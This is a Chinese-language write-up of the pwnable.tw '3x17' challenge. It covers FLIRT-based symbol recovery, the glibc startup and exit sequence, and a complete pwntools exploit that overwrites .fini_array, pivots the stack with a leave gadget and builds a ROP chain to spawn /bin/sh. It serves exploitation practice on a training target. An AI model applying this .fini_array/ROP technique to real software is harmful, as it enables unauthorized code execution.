0%

【Pwn#0x01】pwnable.tw 3x17 writeup

好难的一关,顺着这关学了好多东西……

Part0 符号名呢

摸索

本题是一个strip后的静态链接文件……
当我打开IDA,我看不到任何一个函数名,只有一大堆地址迎接我。
于是我在libc里耗了一天,成果只是大致知道执行了哪些函数,并且给read、write库函数标了名称。

然后我想了一个方法,我是不是可以根据函数的地址来看出这是哪一个libc版本,然后就可以给每个函数都标上名称了?然而不行。
静态链接不像动态链接,它只把用到了的函数链接进文件,因此库函数的地址和它在库中的位置毫无关系。

然后当天晚上做梦的时候,我梦到真的有这么一个库,我一把库拖进IDA PRO,软件自动给所有的函数都标上了名字。
醒来的时候我一想,会不会真有根据函数特征来识别函数名的功能?拿起枕边手机一查就查到了。(话说你不能早点查吗)

解决

参考利用ida pro的flare功能识别静态链接函数签名_Anciety的博客

IDA支持给特定库生成一个签名,然后用这个签名识别库函数的名称!
有人已经生成过很多签名了,可以直接去push0ebp/sig-database: IDA FLIRT Signature Database (github.com)下载。

那么问题来了,下哪个libc版本呢?
pwnable.tw的官网首页说,题目都运行在ubuntu16.04或18.04上,所以我先去把这两个系统对应的libc都下了下来,发现只识别了五十几个库函数……
然后又下了一大堆libc版本,最后在19.04里找到的libc6_2.28成功匹配到了六百多个库函数。

于是我终于知道哪个是main函数了……然后发现离成功还尚早……

Part1 分析(放弃

本关开启了NX和Canary,没开PIE,那么应该是可以修改某些东西的。
main函数干了四件事:

  1. write一个”addr:”
  2. read一个0x18长度的字符串,并用一个库函数将其转换成数字(当成10进制数)。
  3. write一个”data:”
  4. read一个0x18长度的字符串,地址是刚刚输入的数。

然后就ret了。可以发现,我们没有任何泄露栈地址的方法,没办法进行简单的ret2xxx系列攻击。
(然后我就放弃了,这题大概又是超出我知识水平范围的,所以去网上找writeup:和媳妇一起学Pwn 之 3x17 | Clang裁缝店看了)

Part2 main函数的启动过程

参考教程:linux编程之main()函数启动过程_gary_ygl的博客

读了文章,学到很多姿势,尤其是对于C程序的抽象->具象:
从一开始的程序运行过程就是main开始到结束;
到后来知道从start开始,start负责调用__libc_start_main(),__libc_start_main()再调用main()函数;
再到现在发现__libc_start_main()干了很多事情,包括在调用main()函数之前,调用__libc_csu_init()函数,并且用_cxa_atexit()函数设置程序退出前执行__libc_csu_fini()函数(具体来说exit()调用_run_exit_handlers(),并在其中按照倒序调用之前用_cxa_atexit()注册过的函数)。并且在调用main()之后,会调用exit()函数。

(其实还干了一些初始化以及善后工作,但是和链接比较相关,和本题不那么相关)

而逆向本题可以看到,__libc_csu_init()主要做两件事:

  1. 调用位于.init段中的_init_proc()
  2. 按顺序调用位于.init_array中的函数(这是一个函数指针数组)(数组大小固定,汇编中直接用立即数地址计算数组大小)

类似地,__libc_csu_fini()也干两件事,但是和init是正好顺序相反的:

  1. 按逆序调用位于.fini_array中的函数(这是一个函数指针数组)(数组大小固定,汇编中直接用立即数地址计算数组大小)
  2. 调用位于.fini段中的term_proc()

然后画个图表示一下我的理解:两个csu函数的调用顺序

而.init_array和.fini_array都是rw的,可写!
然后我决定在懂得了这些之后再自己尝试一下利用!

Part3 Exploitation

通过覆写一次fini_array,可以达到如图的效果。fini&main循环
由于不存在wx的段,所以放弃shellcode,想想如何ROP。
光凭fini_array这两个call是没有用的,必须想办法stack pivot一下。

刚开始的思路是利用

1
2
0x00418820: mov rax, qword [0x00000000004B7120] ; ret  ;
0x0044f62b: xchg eax, esp ; ret ;

这两个gadget来把rsp弄到我想要的地方。但是我发现这做不到,原因是fini_array只有两个元素,我不论怎么修改这个数组,都只能实际调用一个gadget
原因如下:覆盖fini_array的两种情况
我们必须要用一个gadget完成stack pivot,这意味着要么有一个gadget同时涵盖了赋值+修改rsp的工作,要么利用寄存器或栈上已有的值。
GDB动态调试到这里,发现确实有几个寄存器存着RW的位置,其中就包括rbp。然后回忆一下:leave = mov rsp, rbp; pop rbp; ,用这个来stack pivot。

然后利用静态链接程序的丰富gadget库轻松写出了ROP chain,拿到了shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context.arch = 'amd64'
filename="./3x17"
# io = process(["strace", filename])
# io = process([filename])
io = remote("chall.pwnable.tw", 10105)

def write(addr, data):
io.send(str(addr).encode('ascii'))
print(io.recvS())
io.send(data)
print(io.recvrepeatS(0.5))

# addr
fini_array_addr = 0x4b40f0
new_stack_addr = fini_array_addr + 0x10
csu_fini_addr = 0x402960
main_addr = 0x401b6d
sh_str_addr = 0x4b40e0 # 随便取的

# ROP gadget
pop_rax = 0x0041e4af
pop_rdi = 0x00401696
pop_rdx_rsi = 0x0044a309
mov_rax_val = 0x0044f62b
leave = 0x00401c4b
syscall = 0x00471db5
return_ = 0x00401016 # just a normal ret,用来占位子

# ROP payload
payload1 = pack(pop_rax) + pack(59) + pack(pop_rdi)
payload2 = pack(sh_str_addr) + pack(pop_rdx_rsi) + pack(0)
payload3 = pack(0) + pack(syscall) + pack(0)

# pwn
write(fini_array_addr, pack(csu_fini_addr) + pack(main_addr))

write(sh_str_addr, b'/bin/sh\x00')
write(new_stack_addr, payload1)
write(new_stack_addr + 8*3, payload2)
write(new_stack_addr + 8*6, payload3)

write(fini_array_addr, pack(leave) + pack(return_) + pack(pop_rax))

io.interactive()

一个小技巧:
如果不间断地给程序send数据,很可能send到同一个read()里。
面对这种情况,可以在两个send()中间recv()一下,又或者加上一个pause()手动停止,又或者加上一个sleep(0.15)来自动停止。